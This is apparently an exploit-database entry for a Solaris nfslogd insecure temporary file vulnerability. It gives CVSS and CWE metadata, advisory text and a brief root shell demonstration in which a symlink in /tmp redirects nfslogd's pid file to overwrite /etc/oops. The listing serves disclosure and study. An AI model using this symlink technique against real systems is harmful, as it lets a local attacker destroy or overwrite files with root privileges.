Insecure Temporary File Creation Vulnerability in Oracle Solaris

vendor:

Solaris

by:

Unknown

7.5

CVSS

HIGH

Insecure Temporary File Creation

377

CWE

Product Name: Solaris

Affected Version From: 8

Affected Version To: OpenSolaris

Patch Exists: NO

Related CWE: Unknown

CPE: solaris

Metasploit:

Other Scripts:

Platforms Tested:

Unknown

Insecure Temporary File Creation Vulnerability in Oracle Solaris

A local attacker can exploit this issue to overwrite arbitrary files with the privileges of the affected process, resulting in denial-of-service conditions and other possible attacks.

Mitigation:

Unknown

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/41637/info

Oracle Solaris is prone to an insecure temporary file creation vulnerability.

A local attacker can exploit this issue to overwrite arbitrary files with the privileges of the affected process. This will likely result in denial-of-service conditions, other attacks may also be possible.

This vulnerability affects the following supported versions:
8, 9, 10, OpenSolaris 

nnDon't Panic! # ls -dl /etc/oops
/etc/oops: No such file or directory
Don't Panic! # ls -dl /tmp/.nfslogd.pid
lrwxrwxrwx   1 nobody   nobody         9 Dec 29 21:24 /tmp/.nfslogd.pid
-> /etc/oops
Don't Panic! # id
uid=0(root) gid=0(root)
Don't Panic! # /usr/lib/nfs/nfslogd
Don't Panic! # ls -dl /etc/oops
-rw-------   1 root     root           4 Dec 29 21:25 /etc/oops